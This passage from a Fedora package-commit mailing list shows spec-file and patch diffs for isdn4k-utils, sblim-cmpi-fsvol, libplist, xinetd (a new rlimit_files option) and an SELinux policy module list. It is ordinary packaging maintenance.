 %define PIE -fPIE
 %else
@@ -10,14 +10,11 @@
 %endif
 
 %define initdir /etc/rc.d/init.d
-%define divert 0
-%define eicon 0
-%define act 0
 
 Summary: Utilities for configuring an ISDN subsystem.
 Name: isdn4k-utils
 Version: 3.2
-Release: 65%{?dist}
+Release: 66%{?dist}
 License: GPLv2+
 Group: Applications/System
 
@@ -28,21 +25,17 @@ Source3: userisdnctl.c
 Source4: isdndial
 Source5: isdnstatus
 Source6: isdnhangup
-Source7: isdn4k-utils-ppp-2.4.4.tar.bz2
 Source8: capi.init
+Source9: capiinit.8
 
-Patch0: isdn4k-utils-CVS-2008-01-07-redhat.patch
+Patch0: isdn4k-utils-CVS-2009-10-20-redhat.patch
 Patch2: ibod-config.patch
 Patch3: isdn4k-utils-man.patch
 Patch4: isdn4k-utils-CVS-2004-11-18-autoconf25x.patch
 Patch5: isdn4k-utils-0202131200-true.patch
-Patch7: isdn4k-utils-CVS-2006-02-13-cleanup.patch
-Patch10: isdn4k-utils-CVS-2004-11-18-lib64.patch
 Patch11: isdn4k-utils-statfs.patch
 Patch12: isdn4k-utils-CVS-2005-03-09-xmon.patch
 Patch13: isdn4k-utils-capiinit.patch
-Patch14: isdn4k-utils-CVS-2006-07-20-pppd-2.4.4.patch
-Patch15: isdn4k-utils-gcc3x.patch
 Patch16: isdn4k-utils-CVS-2006-07-20-capi.patch
 Patch17: isdn4k-utils-misc-overflow-in-capi-subsystem.patch
 Patch18: isdn4k-utils-sh-linux.patch
@@ -112,7 +105,7 @@ The xisdnload utility displays a periodi
 load average over your ISDN connection.
 
 %prep
-%setup -q -n %{name}-%{interver} -a 7
+%setup -q -n %{name}-%{interver}
 %patch0 -p1 -b .redhat
 
 mkdir -p ibod
@@ -124,13 +117,9 @@ popd
 %patch3 -p1 -b .man
 %patch4 -p1 -b .ac25x
 %patch5 -p1 -b .true
-%patch7 -p0 -b .cleanup
-%patch10 -p1 -b .lib64
 %patch11 -p1 -b .statfs
 %patch12 -p1 -b .xmon
 %patch13 -p1 -b .capi
-%patch14 -p1 -b .pppd-2.4.4
-%patch15 -p1 -b .glibc
 %patch16 -p1 -b .capi
 %patch17 -p1 -b .misc-overflow
 %patch18 -p1 -b .sh-support
@@ -186,7 +175,9 @@ mkdir -p %{buildroot}/dev \
          %{buildroot}/etc/{rc.d/init.d,ppp,isdn} \
          %{buildroot}/var/{log/vbox,spool/vbox,lock/isdn} \
          %{buildroot}%{_prefix}/{sbin,bin} \
-         %{buildroot}%{_mandir}/man4
+         %{buildroot}%{_mandir}/man1 \
+         %{buildroot}%{_mandir}/man4 \
+         %{buildroot}%{_mandir}/man8
 
 chmod 1777 %{buildroot}/var/spool/vbox
 make install DESTDIR=%{buildroot} \
@@ -265,23 +256,12 @@ rm -rf %{buildroot}%{_docdir}/isdn4k-uti
 # move doc file to avoid conflict
 cp isdnlog/README isdnlog/README.isdnlog
 
-%if !%{divert}
-  rm -rf %{buildroot}%{_mandir}/man8/divertctrl.8*
-  rm -f %{buildroot}/sbin/divertctrl
-%endif
-
-%if !%{eicon}
-  rm -rf %{buildroot}%{_mandir}/man8/eiconctrl.8*
-  rm -rf %{buildroot}%{_libdir}/eicon
-  rm -f %{buildroot}/sbin/eiconctrl
-%endif
+install -m644 %{SOURCE9} %{buildroot}%{_mandir}/man8/
 
 chmod 644 %{buildroot}%{_mandir}/man?/*
 
 chmod 755 %{buildroot}%{_bindir}/vboxbeep
 
-rm -f %{buildroot}%{_sbindir}/{divalog,divalogd,divertctrl}
-
 mkdir -p $RPM_BUILD_ROOT/etc
 install -m 644 capiinit/capi.conf $RPM_BUILD_ROOT/etc
 
@@ -419,12 +399,14 @@ rm -rf %{buildroot}
 %files
 %defattr(-,root,root)
 %dir /etc/isdn
+%dir /etc/vbox
 %dir /var/spool/vbox
 %dir /var/log/vbox
 %verify(not md5 size mtime) %config(noreplace) /etc/isdn/*
 %verify(not md5 size mtime) %config(noreplace) /etc/ppp/ioptions
 %config(noreplace) /etc/ppp/peers/*
 %config(noreplace) /etc/capi.conf
+%config(noreplace) /etc/vbox/*.conf
 %config %{initdir}/isdn
 %config %{initdir}/capi
 %{_libdir}/pppd
@@ -444,16 +426,7 @@ rm -rf %{buildroot}
 %exclude %{_bindir}/xisdnload
 %exclude %{_bindir}/xmonisdn
 /sbin/*
-%if %{act}
-%{_sbindir}/actctrl
-%endif
-%if %{eicon}
-%{_sbindir}/eiconctrl
-%endif
 %{_sbindir}/capiinit
-%if %{divert}
-%{_sbindir}/divertctrl
-%endif
 %{_sbindir}/ibod
 %{_sbindir}/imon
 %{_sbindir}/imontty
@@ -506,6 +479,10 @@ rm -rf %{buildroot}
 %doc xmonisdn/README
 
 %changelog
+* Mon Oct 19 2009 Than Ngo <than at redhat.com> - 3.2-66
+- add missing man pages
+- add upstream fixes
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.2-65
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/isdn4k-utils/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	19 Jul 2006 14:54:56 -0000	1.15
+++ sources	20 Oct 2009 11:35:22 -0000	1.16
@@ -1,3 +1,3 @@
 38b45be27c0a82b38380f680fdee0aff  ibod-1.4-src.tar.gz
-92c52638be0abee7bd8195878f4df335  isdn4k-utils-ppp-2.4.4.tar.bz2
-7cde4a61e870bb7e53cd912a3fc30207  isdn4k-utils-CVS-2006-07-20.tar.bz2
+0f85c8843d99230945a23fee3cb7983d  isdn4k-utils-CVS-2009-10-20.tar.bz2
+45e047c31ebbdfd2865532a80393223b  capiinit.8


--- isdn4k-utils-CVS-2004-11-18-lib64.patch DELETED ---


--- isdn4k-utils-CVS-2006-02-13-cleanup.patch DELETED ---


--- isdn4k-utils-CVS-2006-07-20-pppd-2.4.4.patch DELETED ---


--- isdn4k-utils-CVS-2006-07-20-redhat.patch DELETED ---


--- isdn4k-utils-CVS-2008-01-07-redhat.patch DELETED ---


--- isdn4k-utils-gcc3x.patch DELETED ---



From vcrhonek at fedoraproject.org  Tue Oct 20 11:37:13 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 20 Oct 2009 11:37:13 +0000 (UTC)
Subject: rpms/sblim-cmpi-fsvol/EL-4 sblim-cmpi-fsvol.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091020113713.12C9711C0081@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-fsvol/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15898

Modified Files:
	sources 
Added Files:
	sblim-cmpi-fsvol.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cmpi-fsvol.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Summary:        SBLIM fsvol instrumentation
Name:           sblim-cmpi-fsvol
Version:        1.4.4
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Fsvol Providers

%package devel
Summary:        SBLIM Fsvol Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
SBLIM Base Fsvol Development Package

%package test
Summary:        SBLIM Fsvol Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description test
SBLIM Base Fsvol Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files
%defattr(-,root,root,0755)
%{_libdir}/libcmpiOSBase_CommonFsvol*.so.*
%{provider_dir}/libcmpiOSBase_LocalFileSystemProvider.so
%{provider_dir}/libcmpiOSBase_NFSProvider.so
%{provider_dir}/libcmpiOSBase_BlockStorageStatisticalDataProvider.so
%{provider_dir}/libcmpiOSBase_HostedFileSystemProvider.so
%{provider_dir}/libcmpiOSBase_BootOSFromFSProvider.so
%{_datadir}/%{name}
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,0755)
%{_libdir}/libcmpiOSBase_CommonFsvol*.so
%{_includedir}/sblim/*Fsvol.h

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/test-cmpi-fsvol.sh
%{_datadir}/sblim-testsuite/cim/*FileSystem.cim
%{_datadir}/sblim-testsuite/cim/*FS.cim
%{_datadir}/sblim-testsuite/cim/*BlockStorageStatisticalData.cim
%{_datadir}/sblim-testsuite/system/linux/*FileSystem.*
%{_datadir}/sblim-testsuite/system/linux/*FileSystemEntries.*

%define FSVOL_SCHEMA %{_datadir}/sblim-cmpi-fsvol/Linux_Fsvol.mof
%define FSVOL_REGISTRATION %{_datadir}/sblim-cmpi-fsvol/Linux_Fsvol.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh -d \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh -d \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Wed Oct 14 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.4.4-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-fsvol/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:23:27 -0000	1.1
+++ sources	20 Oct 2009 11:37:12 -0000	1.2
@@ -0,0 +1 @@
+995ce5c81472a96ca1d5af38cea27480  sblim-cmpi-fsvol-1.4.4.tar.bz2



From pbrobinson at fedoraproject.org  Tue Oct 20 11:43:30 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 20 Oct 2009 11:43:30 +0000 (UTC)
Subject: rpms/libplist/devel .cvsignore, 1.3, 1.4 libplist.spec, 1.3,
	1.4 sources, 1.3, 1.4
Message-ID: <20091020114330.38BC711C0081@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/libplist/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16890

Modified Files:
	.cvsignore libplist.spec sources 
Log Message:
- New upstream 0.15 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libplist/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	18 Jul 2009 22:12:07 -0000	1.3
+++ .cvsignore	20 Oct 2009 11:43:29 -0000	1.4
@@ -1 +1 @@
-libplist-0.13.tar.bz2
+libplist-0.15.tar.bz2


Index: libplist.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libplist/devel/libplist.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- libplist.spec	25 Jul 2009 06:25:39 -0000	1.3
+++ libplist.spec	20 Oct 2009 11:43:30 -0000	1.4
@@ -1,8 +1,8 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           libplist
-Version:        0.13
-Release:        2%{?dist}
+Version:        0.15
+Release:        1%{?dist}
 Summary:        Library for manipulating Apple Binary and XML Property Lists
 
 Group:          System Environment/Libraries
@@ -83,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/libplist
 
 %changelog
+* Tue Oct 20 2009 Peter Robinson <pbrobinson at gmail.com> 0.15-1
+- New upstream 0.15 release
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.13-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libplist/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	18 Jul 2009 22:12:07 -0000	1.3
+++ sources	20 Oct 2009 11:43:30 -0000	1.4
@@ -1 +1 @@
-417175b53245a1810d1b7675778657e1  libplist-0.13.tar.bz2
+9d98871ad40d774500e3dbea1e8070b8  libplist-0.15.tar.bz2



From than at fedoraproject.org  Tue Oct 20 11:46:07 2009
From: than at fedoraproject.org (Than Ngo)
Date: Tue, 20 Oct 2009 11:46:07 +0000 (UTC)
Subject: rpms/isdn4k-utils/devel isdn4k-utils.spec,1.82,1.83
Message-ID: <20091020114607.5BE3411C0081@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/isdn4k-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17959

Modified Files:
	isdn4k-utils.spec 
Log Message:
BR ppp-devel



Index: isdn4k-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/isdn4k-utils/devel/isdn4k-utils.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- isdn4k-utils.spec	20 Oct 2009 11:35:22 -0000	1.82
+++ isdn4k-utils.spec	20 Oct 2009 11:46:07 -0000	1.83
@@ -65,6 +65,7 @@ BuildRequires: libXext-devel
 BuildRequires: imake
 BuildRequires: automake
 BuildRequires: libtool
+BuildRequires: ppp-devel
 
 Prereq: /sbin/chkconfig
 Prereq: /sbin/ldconfig



From dwalsh at fedoraproject.org  Tue Oct 20 11:50:12 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Tue, 20 Oct 2009 11:50:12 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 modules-mls.conf,1.60,1.61
Message-ID: <20091020115012.AFD0A11C02A4@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18508

Modified Files:
	modules-mls.conf 
Log Message:
* Sat Oct 17 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-29
- Allow ccs to communicate with userdomains, and create tmpfs_t
- Add /dev/noz* as a modem_device_t and allow modemmanager to rw it.
- Add mapping for /var/run/lircd



Index: modules-mls.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-mls.conf,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- modules-mls.conf	19 Oct 2009 19:51:42 -0000	1.60
+++ modules-mls.conf	20 Oct 2009 11:50:12 -0000	1.61
@@ -1861,3 +1861,9 @@ clogd = module
 # 
 ricci = module
 
+# Layer: services
+# Module: rhcs
+#
+# RHCS - Red Hat Cluster Suite
+#
+rhcs = module



From jzeleny at fedoraproject.org  Tue Oct 20 11:51:47 2009
From: jzeleny at fedoraproject.org (Jan Zeleny)
Date: Tue, 20 Oct 2009 11:51:47 +0000 (UTC)
Subject: rpms/xinetd/devel xinetd.init,1.14,1.15 xinetd.spec,1.65,1.66
Message-ID: <20091020115147.7AC7C11C0081@cvs1.fedora.phx.redhat.com>

Author: jzeleny

Update of /cvs/extras/rpms/xinetd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18944

Modified Files:
	xinetd.init xinetd.spec 
Log Message:
new config option - file limit, fixed init script issues with SELinux


Index: xinetd.init
===================================================================
RCS file: /cvs/extras/rpms/xinetd/devel/xinetd.init,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- xinetd.init	12 Oct 2009 08:56:17 -0000	1.14
+++ xinetd.init	20 Oct 2009 11:51:46 -0000	1.15
@@ -52,10 +52,9 @@ prog="xinetd"
 start(){
     [ -f /usr/sbin/xinetd ] || exit 5
     [ -f /etc/xinetd.conf ] || exit 6
-	touch /var/run/xinetd.pid > /dev/null 2>&1
-	[ $? -eq 0 ] || exit 4
-	touch /var/lock/subsys/xinetd > /dev/null 2>&1
-	[ $? -eq 0 ] || exit 4
+    # this is suitable way considering SELinux is guarding write 
+    # access to PID file
+	[ $EUID -eq 0 ] || exit 4
 
     echo -n $"Starting $prog: "
 
@@ -83,16 +82,9 @@ start(){
 stop(){
     [ -f /usr/sbin/xinetd ] || exit 5
     [ -f /etc/xinetd.conf ] || exit 6
-    if [ -f /var/lock/subsys/xinetd ]; then
-		if [ ! -w /var/lock/subsys/xinetd ]; then
-			exit 4
-		fi
-	fi
-    if [ -f /var/run/xinetd.pid ]; then
-		if [ ! -w /var/run/xinetd.pid ]; then
-			exit 4
-		fi
-	fi
+    # this is suitable way considering SELinux is guarding write 
+    # access to PID file
+	[ $EUID -eq 0 ] || exit 4
 
     echo -n $"Stopping $prog: "
     killproc -p /var/run/xinetd.pid $prog


Index: xinetd.spec
===================================================================
RCS file: /cvs/extras/rpms/xinetd/devel/xinetd.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- xinetd.spec	12 Oct 2009 08:56:17 -0000	1.65
+++ xinetd.spec	20 Oct 2009 11:51:46 -0000	1.66
@@ -1,7 +1,7 @@
 Summary: A secure replacement for inetd
 Name: xinetd
 Version: 2.3.14
-Release: 26%{?dist}
+Release: 27%{?dist}
 License: xinetd 
 Group: System Environment/Daemons
 Epoch: 2
@@ -21,6 +21,7 @@ Patch8: xinetd-2.3.14-ident-bind.patch
 Patch9: xinetd-2.3.14-readable-debuginfo.patch
 Patch10: xinetd-2.3.14-autoconf.patch
 Patch11: xinetd-2.3.14-poll.patch
+Patch12: xinetd-2.3.14-file-limit.patch
 
 BuildRequires: autoconf, automake
 BuildRequires: libselinux-devel >= 1.30
@@ -60,6 +61,7 @@ located in the /etc/xinetd.d directory.
 %patch9 -p1 -b .readable-debuginfo
 %patch10 -p1 -b .autoconf
 %patch11 -p1 -b .poll
+%patch12 -p1 -b .file-limit
 
 aclocal
 autoconf
@@ -119,6 +121,10 @@ fi
 %{_mandir}/*/*
 
 %changelog
+* Tue Oct 20 2009 Jan Zeleny <jzeleny at redhat.com> - 2:2.3.14-27
+- last update of init script modified to work with SELinux correctly
+- added support for new configuration option - file limit for service
+
 * Mon Oct 12 2009 Jan Zeleny <jzeleny at redhat.com> - 2:2.3.14-26
 - updated init script (LSB compliance - #528154)
 



From than at fedoraproject.org  Tue Oct 20 12:07:24 2009
From: than at fedoraproject.org (Than Ngo)
Date: Tue, 20 Oct 2009 12:07:24 +0000 (UTC)
Subject: rpms/isdn4k-utils/devel isdn4k-utils-CVS-2009-10-20-lib64.patch,
	NONE, 1.1 isdn4k-utils.spec, 1.83, 1.84
Message-ID: <20091020120724.AE10411C0081@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/isdn4k-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23267

Modified Files:
	isdn4k-utils.spec 
Added Files:
	isdn4k-utils-CVS-2009-10-20-lib64.patch 
Log Message:
fix lib64 issue by install


isdn4k-utils-CVS-2009-10-20-lib64.patch:
 Makefile.template |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE isdn4k-utils-CVS-2009-10-20-lib64.patch ---
diff -up isdn4k-utils-CVS-2009-10-20/pppdcapiplugin/Makefile.template.me isdn4k-utils-CVS-2009-10-20/pppdcapiplugin/Makefile.template
--- isdn4k-utils-CVS-2009-10-20/pppdcapiplugin/Makefile.template.me	2009-10-20 14:08:23.000000000 +0200
+++ isdn4k-utils-CVS-2009-10-20/pppdcapiplugin/Makefile.template	2009-10-20 14:09:17.000000000 +0200
@@ -8,7 +8,7 @@
 #  as published by the Free Software Foundation; either version
 #  2 of the License, or (at your option) any later version.
 
-PLUGINDIR=${DESTDIR}/usr/lib/pppd/$(PPPVERSION)
+PLUGINDIR=${DESTDIR}/$(LIBDIR)/pppd/$(PPPVERSION)
 
 include $(TOPDIR)/Rules.make
 


Index: isdn4k-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/isdn4k-utils/devel/isdn4k-utils.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- isdn4k-utils.spec	20 Oct 2009 11:46:07 -0000	1.83
+++ isdn4k-utils.spec	20 Oct 2009 12:07:24 -0000	1.84
@@ -29,6 +29,7 @@ Source8: capi.init
 Source9: capiinit.8
 
 Patch0: isdn4k-utils-CVS-2009-10-20-redhat.patch
+Patch1: isdn4k-utils-CVS-2009-10-20-lib64.patch
 Patch2: ibod-config.patch
 Patch3: isdn4k-utils-man.patch
 Patch4: isdn4k-utils-CVS-2004-11-18-autoconf25x.patch
@@ -108,6 +109,7 @@ load average over your ISDN connection.
 %prep
 %setup -q -n %{name}-%{interver}
 %patch0 -p1 -b .redhat
+%patch1 -p1 -b .lib64
 
 mkdir -p ibod
 pushd ibod



From jzeleny at fedoraproject.org  Tue Oct 20 12:08:43 2009
From: jzeleny at fedoraproject.org (Jan Zeleny)
Date: Tue, 20 Oct 2009 12:08:43 +0000 (UTC)
Subject: rpms/xinetd/devel xinetd-2.3.14-file-limit.patch,NONE,1.1
Message-ID: <20091020120843.521F311C0081@cvs1.fedora.phx.redhat.com>

Author: jzeleny

Update of /cvs/extras/rpms/xinetd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23595

Added Files:
	xinetd-2.3.14-file-limit.patch 
Log Message:
added patch file belonging to the previous commit

xinetd-2.3.14-file-limit.patch:
 attr.h          |    3 ++-
 child.c         |    4 ++++
 parse.c         |    3 +++
 parsers.c       |   23 +++++++++++++++++++++++
 parsers.h       |    3 +++
 sconf.h         |    2 ++
 xinetd.conf.man |    6 ++++++
 7 files changed, 43 insertions(+), 1 deletion(-)

--- NEW FILE xinetd-2.3.14-file-limit.patch ---
diff -Nurp xinetd-2.3.14-orig/xinetd/attr.h xinetd-2.3.14-files/xinetd/attr.h
--- xinetd-2.3.14-orig/xinetd/attr.h	2005-10-05 19:15:33.000000000 +0200
+++ xinetd-2.3.14-files/xinetd/attr.h	2009-10-20 13:08:45.000000000 +0200
@@ -61,12 +61,13 @@
 #define A_DISABLED         43
 #define A_MDNS             44
 #define A_LIBWRAP          45
+#define A_RLIMIT_FILES     46
 
 /*
  * SERVICE_ATTRIBUTES is the number of service attributes and also
  * the number from which defaults-only attributes start.
  */
-#define SERVICE_ATTRIBUTES      ( A_MDNS + 1 )
+#define SERVICE_ATTRIBUTES      ( A_MDNS + 2 )
 
 /*
  * Mask of attributes that must be specified.
diff -Nurp xinetd-2.3.14-orig/xinetd/child.c xinetd-2.3.14-files/xinetd/child.c
--- xinetd-2.3.14-orig/xinetd/child.c	2009-10-20 13:07:34.000000000 +0200
+++ xinetd-2.3.14-files/xinetd/child.c	2009-10-20 13:10:16.000000000 +0200
@@ -109,6 +109,10 @@ void exec_server( const struct server *s
 
 
 #ifdef RLIMIT_NOFILE
+   if ( SC_RLIM_FILES( scp ))
+   {
+      ps.ros.max_descriptors = SC_RLIM_FILES( scp );
+   }
    rl.rlim_max = rl.rlim_cur = ps.ros.max_descriptors ;
    (void) setrlimit( RLIMIT_NOFILE, &rl ) ;
 #endif
diff -Nurp xinetd-2.3.14-orig/xinetd/parse.c xinetd-2.3.14-files/xinetd/parse.c
--- xinetd-2.3.14-orig/xinetd/parse.c	2005-10-05 19:15:33.000000000 +0200
+++ xinetd-2.3.14-files/xinetd/parse.c	2009-10-20 13:08:45.000000000 +0200
@@ -92,6 +92,9 @@ static const struct attribute service_at
 #ifdef RLIMIT_DATA
    { "rlimit_data",    A_RLIMIT_DATA,    1,  rlim_data_parser       },
 #endif
+#ifdef RLIMIT_NOFILE
+   { "rlimit_files",   A_RLIMIT_FILES,   1,  rlim_files_parser      },
+#endif
 #ifdef RLIMIT_RSS
    { "rlimit_rss",     A_RLIMIT_RSS,     1,  rlim_rss_parser        },
 #endif
diff -Nurp xinetd-2.3.14-orig/xinetd/parsers.c xinetd-2.3.14-files/xinetd/parsers.c
--- xinetd-2.3.14-orig/xinetd/parsers.c	2005-10-05 23:45:41.000000000 +0200
+++ xinetd-2.3.14-files/xinetd/parsers.c	2009-10-20 13:08:45.000000000 +0200
@@ -1415,6 +1415,29 @@ status_e rlim_data_parser( pset_h values
 }
 #endif
 
+#ifdef RLIMIT_NOFILE
+status_e rlim_files_parser( pset_h values, 
+                         struct service_config *scp, 
+                         enum assign_op op )
+{
+   char *mem = (char *) pset_pointer( values, 0 ) ;
+   const char *func = "rlim_files_parser" ;
+
+   if ( EQ( mem, "UNLIMITED" ) )
+      SC_RLIM_FILES(scp) = (rlim_t)RLIM_INFINITY ;
+   else
+   {
+      if ( get_limit ( mem, &SC_RLIM_FILES(scp)) )
+      {
+         parsemsg( LOG_ERR, func,
+            "Max files limit is invalid: %s", mem ) ;
+         return( FAILED ) ;
+      }
+   }
+   return( OK ) ;
+}
+#endif
+
 #ifdef RLIMIT_RSS
 status_e rlim_rss_parser( pset_h values, 
                           struct service_config *scp, 
diff -Nurp xinetd-2.3.14-orig/xinetd/parsers.h xinetd-2.3.14-files/xinetd/parsers.h
--- xinetd-2.3.14-orig/xinetd/parsers.h	2005-10-05 19:15:33.000000000 +0200
+++ xinetd-2.3.14-files/xinetd/parsers.h	2009-10-20 13:08:45.000000000 +0200
@@ -57,6 +57,9 @@ status_e rlim_cpu_parser(pset_h, struct 
 #ifdef RLIMIT_DATA
 status_e rlim_data_parser(pset_h, struct service_config *, enum assign_op) ;
 #endif
+#ifdef RLIMIT_NOFILE
+status_e rlim_files_parser(pset_h, struct service_config *, enum assign_op) ;
+#endif
 #ifdef RLIMIT_RSS
 status_e rlim_rss_parser(pset_h, struct service_config *, enum assign_op) ;
 #endif
diff -Nurp xinetd-2.3.14-orig/xinetd/sconf.h xinetd-2.3.14-files/xinetd/sconf.h
--- xinetd-2.3.14-orig/xinetd/sconf.h	2009-10-20 13:07:34.000000000 +0200
+++ xinetd-2.3.14-files/xinetd/sconf.h	2009-10-20 13:08:45.000000000 +0200
@@ -143,6 +143,7 @@ struct service_config
    rlim_t               sc_rlim_as;
    rlim_t               sc_rlim_cpu;
    rlim_t               sc_rlim_data;
+   rlim_t               sc_rlim_files;
    rlim_t               sc_rlim_rss;
    rlim_t               sc_rlim_stack;
    mode_t               sc_umask;
@@ -191,6 +192,7 @@ struct service_config
 #define SC_RLIM_AS( scp )        (scp)->sc_rlim_as
 #define SC_RLIM_CPU( scp )       (scp)->sc_rlim_cpu
 #define SC_RLIM_DATA( scp )      (scp)->sc_rlim_data
+#define SC_RLIM_FILES( scp )     (scp)->sc_rlim_files
 #define SC_RLIM_RSS( scp )       (scp)->sc_rlim_rss
 #define SC_RLIM_STACK( scp )     (scp)->sc_rlim_stack
 #define SC_TYPE( scp )           (scp)->sc_type
diff -Nurp xinetd-2.3.14-orig/xinetd/xinetd.conf.man xinetd-2.3.14-files/xinetd/xinetd.conf.man
--- xinetd-2.3.14-orig/xinetd/xinetd.conf.man	2009-10-20 13:07:34.000000000 +0200
+++ xinetd-2.3.14-files/xinetd/xinetd.conf.man	2009-10-20 13:08:45.000000000 +0200
@@ -569,6 +569,12 @@ is implemented, it is more useful to set
 rlimit_rss and rlimit_stack. This resource limit is only implemented on
 Linux systems.
 .TP
+.B rlimit_files
+Sets the maximum number of open files that the service may use.
+One parameter is required, which is a positive integer representing
+the number of open file descriptors. Practical limit of this number
+is around 1024000.
+.TP
 .B rlimit_cpu
 Sets the maximum number of CPU seconds that the service may use.
 One parameter is required, which is either a positive integer representing



From hubbitus at fedoraproject.org  Tue Oct 20 12:09:17 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
